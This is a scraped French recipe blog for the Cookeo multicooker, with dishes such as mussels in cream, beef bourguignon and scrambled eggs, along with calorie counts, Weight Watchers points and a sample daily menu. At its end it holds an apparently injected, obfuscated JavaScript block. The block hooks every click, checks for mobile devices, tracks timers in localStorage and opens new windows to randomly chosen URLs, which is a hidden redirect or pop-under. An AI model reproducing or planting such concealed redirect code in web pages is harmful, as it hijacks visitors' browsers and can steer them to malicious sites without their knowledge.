Moules crème fraîche recette cookeo

Ingrédients pour 4 personnes

1k 500 de moules

40 cl de crème fraîche

150 ml de vin blanc

50 g de bleu d’Auvergne

3 cuillères à soupe de maïzena

1 gros oignon

Persil

Sel

Poivre

Huile d’olive

200 ml d’eau

Préparation

Mode dorer

Versez de l’huile dans la cuve et faites revenir les oignons quand l’huile est chaude.

Versez le verre de vin blanc et l’eau. Salez et poivrez selon votre convenance.

Ajoutez les moules.

Cuisson rapide ou sous pression

Programmez 5 mn

Quand la cuisson est terminée repassez en mode dorer. Puis ajoutez la crème fraîche et faites fondre le bleu d’Auvergne.

Ajoutez ensuite une cuillère à soupe de maïzena pour faire épaissir la sauce.

Quand  la sauce a épaissi remettez les moules dans la cuve pour les réchauffer mélangez et servez chaud
[youtube https://www.youtube.com/watch?v=pLiSGGkVnW4]

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Fiche cookeo cuisses poulet haricots verts 382 CALORIES 8 PP 10 SP

[youtube https://www.youtube.com/watch?v=qSKBWsPiBBg]

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Steaks hachés haricots verts cookeo

266 CALORIES 8 PP 13 SP 

Ingrédients pour 5 personnes

5  steaks hachés

500 grammes de haricots verts

1 gros oignon

Sel  poivre

400 ml d’eau

1 cube de bouillon de bœuf

Persil coupé déshydraté

Huile d’olive

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir les steaks hachés

Au bout de 2 minutes ajoutez les oignons pour faites  dorer

Ajoutez les haricots verts

Saupoudrez de persil ,salez et poivrez selon votre convenance

Verser l’eau avec le cube de bouillon de bœuf émietté

Cuisson rapide ou  cuisson sous pression

Programmez 5 minutes

Servez chaud
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Œufs brouillés oignons  cookeo

Ingrédients pour 4 personnes

6 œufs

50 ml de lait

40 g de crème fraîche

200 g d’oignons

Huile d’olive

Sel

Poivre

Persil

Préparation

Fonction dorer

Dans un saladier ou un bol cassez les œufs et mélangez avec le lait ,la crème fraîche . Salez et poivrez .

Versez de l’huile d’olive dans la cuve . Faites revenir les oignons   .

Quand les oignons sont dorés versez la préparation dans la cuve . Mélangez jusqu’à ce que les œufs soit cuits .

Servez chaud .
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Menu cookeo équilibré JOUR 19

Pour accéder aux recettes cookeo et obtenir le descriptif  il vous suffit de cliquer sur le titre de la recette ou sur l’image de la recette .

NB

Les recettes sont prévues pour 4 personnes. Les recettes en rouge sont des recettes réalisées au cookeo .

Une portion de pain = 50 g. Une portion de fromage = 30 g. Sans précision, fruit et yaourt = 1 par repas.

DEJEUNER

Salade de courgettes et tomates

Côte de porc au cidre

Haricots verts et pommes de terre

Fromage blanc nature sucré

Abricots

Pain

DINER

Salade de salsifis

Spaghettis au citron

Fromage

Nectarine

Pain

DEJEUNER

Salade courgettes et tomates 130 calories

Ingrédients pour 4 personnes

2 courgettes/2 tomates/ sel/poivre/2 cuillères à soupe de moutarde/2 cuillères à soupe d’huile d’olive/1 cuillère à soupe de vinaigre/Jus de citron 10 cl/.

Préparation

Lavez vos tomates et vos courgettes. Coupez les courgettes en rondelles avec une mandoline. Déposez les dans 4 assiettes.

Coupez vos tomates et déposez-les sur le lit de courgettes.

Préparez dans un bol une vinaigrette en  mélangeant 2 cuillères à soupe d’huile d’olive, une cuillère à soupe de vinaigre, 2 cuillères à soupe de moutarde, 10 cl de jus de citron du sel et du poivre. Versez la vinaigrette sur la salade et placez au frigo pendant une heure si vous souhaitez une entrée plus fraiche.

Côtes de porc au cidre (cookeo) 265 calories

Haricots verts et pommes de terre 165 calories

Ingrédients pour 4 personnes

8 pommes de terre /400 g de haricots verts /sel/poivre

Préparation

Faites cuire dans 2 étages différents de votre cuit vapeur les haricots verts et les pommes de terre que vous avez épluchées (15 mn pour les haricots verts et 20 mn pour les pommes de terre).

DINER

Salade de salsifis 110 calories

Ingrédients pour 4 personnes

Une grosse boîte de salsifis/2 cuillères à soupe d’huile d’olive/2cuillères soupe de moutarde/une cuillère à soupe de vinaigre/sel/poivre/persil/1 gousse d’ail

Préparation

Ouvrez la boîte de salsifis et égouttez les . Découpez les salsifis en rondelles . Epluchez et coupez l’ail en morceaux. Lavez et ciselez le persil. Préparez une vinaigrette avec 2 cuillères à soupe de moutarde ,2 cuillères à soupe d’huile d’olive, 1 cuillère à soupe de vinaigre, salez et poivrez. Ajoutez l’ail et le persil dans la vinaigrette. Versez la vinaigrette sur les salsifis.

Spaghettis au citron  180 calories

 
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Fiche cookeo soupe de poissons  180 CALORIES  4 PP 3 SP

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Escalopes porc brocolis recette cookeo

220 CALORIES     5 PP  7 SP

Ingrédients pour 4 personnes 

800 g de brocolis

200 g d’oignons 

3 escalopes de porc (400 g )

Huile d’olive

1 cube de bouillon de poule .

Sel 

Poivre

Mélange 5 baies 

Préparation 

Découpez les escalopes de porc en morceaux .

Déposez les brocolis dans la cuve et recouvrez d’eau .  Emiettez votre cube de bouillon de poule.

Cuisson rapide ou sous pression .

Programmez 3 mn 

Quand la cuisson est terminée sortez la cuve du cookeo pour égouttez les brocolis.

Redéposez la cuve dans le cookeo .

Passez en mode dorer et versez de l’huile dans la cuve .

Quand l’huile est  chaude faites dorer les morceaux d’oignons ainsi que les escalopes que vous avez coupées en morceaux .

Salez et poivrez saupoudrez de mélange 5 baies .

Ajoutez les brocolis égouttés et faites dorer pendant 2 à 3 mn .

Servez chaud 
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Fiche cookeo escalopes porc brocolis

220 CALORIES     5 PP  7 SP

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Boeuf Bourguignon cookeo weight watchers

460 CALORIES 10 PP 12 SP

Ingrédients pour 4 personnes :

700 g de bœuf coupé en morceaux

600 g de carottes

250 ml  de vin rouge
150 ml d’eau

1 cuillère à soupe d’huile d’olive
1 oignon

10 petits oignons au vinaigre

400 g de champignons de Paris
1 bouquet garni

1 cuillère à café d’ail déshydraté

2 cuillères à café de maizena
Sel et poivre

Préparation

Mode dorer

Versez l’huile dans la cuve puis faites dorer les oignons et la viande.

Ajoutez les carottes ,les champignons ,le bouquet garni .

Versez Le vin rouge et l’eau .

Salez et poivrez selon votre convenance.

Cuisson rapide ou Cuisson sous pression : 35 min
Quand la cuisson est terminée  repassez en mode dorer . Ajoutez  la maizena et mélangez jusqu’à ce que la sauce épaississe.

Servez chaud
[youtube https://www.youtube.com/watch?v=x_iGYr2yJ_w]

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Je viens de trouver un site qui vend des accessoires pour le cookeo  ainsi que des verrines en verre cookeo. Pour accéder au site cliquez sur l’image

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

//
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Spaghettis dinde moutarde cookeo 370 CALORIES  8 PP 9 SP

Ingrédients pour 4 personnes

4 escalopes de dinde

200 g de champignons de Paris

100 g d’oignons

240 g de spaghettis

2 cuillères à soupe de moutarde forte

Sel

Poivre

20 cl de crème fraîche liquide

Huile d’olive

Préparation

Mode dorer

Versez l’huile d’olive dans la cuve et faites revenir les morceaux de dinde .

Ajoutez les oignons pour les faire dorer puis c’est au tour des champignons

Salez et poivrez selon votre convenance. Versez les spaghettis coupées en 2 dans la cuve

Recouvrez les ingrédients d’eau

Cuisson rapide ou sous pression

Programmez 4 mn le temps indiqué sur le paquet de spaghettis divisé par 2

Quand la cuisson est finie ajoutez la crème fraîche et la moutarde .

Servez chaud
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Coucou tout le monde 

je vous souhaite un Joyeux Nöel et un excellent réveillon . J’espère que vos souliers seront remplis de cadeaux . 

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Voici ma sélection de 3 recettes cookeo enfants. J’espère que vos enfants apprécieront comme les miens l’on fait .

Pour accéder à la recette cliquez sur l’image 

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|nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());